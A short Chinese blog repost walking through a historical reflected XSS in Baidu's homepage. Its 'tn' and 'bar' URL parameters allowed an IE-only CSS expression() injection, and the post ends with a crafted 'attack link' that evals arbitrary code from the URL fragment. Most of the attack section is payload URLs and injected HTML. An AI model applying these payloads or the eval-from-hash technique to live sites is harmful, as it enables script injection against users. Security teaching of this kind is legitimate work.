码迷,mamicode.com
首页 > 其他好文 > 详细

一个典型的参数型跨站脚本漏洞

时间:2015-02-24 15:02:14      阅读:133      评论:0      收藏:0      [点我收藏+]

标签:

拿百度主页曾经的一个XSS做个演示,这个漏洞是由于百度主页tn和bar参数过滤不严导致的参数型XSS:

http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert(‘xss‘));  
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert(‘xss‘));  

tn和bar两个参数对应在页面的输出是两个input表单值,可以使用”(双引号)闭合表单值,加入CSS属性跨站,页面具体输出如下:

<input type=hidden name=tn value=""/**/style=xss:expression(alert(‘xss‘));">  


这个漏洞只能在IE下使用,FIREFOX会把URL链接参数中的”(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合”(双引号)跨站。expression()是个不听话的角色,这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码:  

eval(unescape(location.hash.substr(1)))  

给window对象的方法定义一个值,判断这个值运行一次代码:  

(window.r!=1)?eval(‘window.r=1;eval(unescape(location.hash.substr(1)))‘):1  

最后得到完美的攻击链接:  

http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval(‘window.r=1;eval(unescape(location.hash.substr(1)))‘):1);#alert%28%29  

一个典型的参数型跨站脚本漏洞

标签:

原文地址:http://www.cnblogs.com/itchong/p/abcd9.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!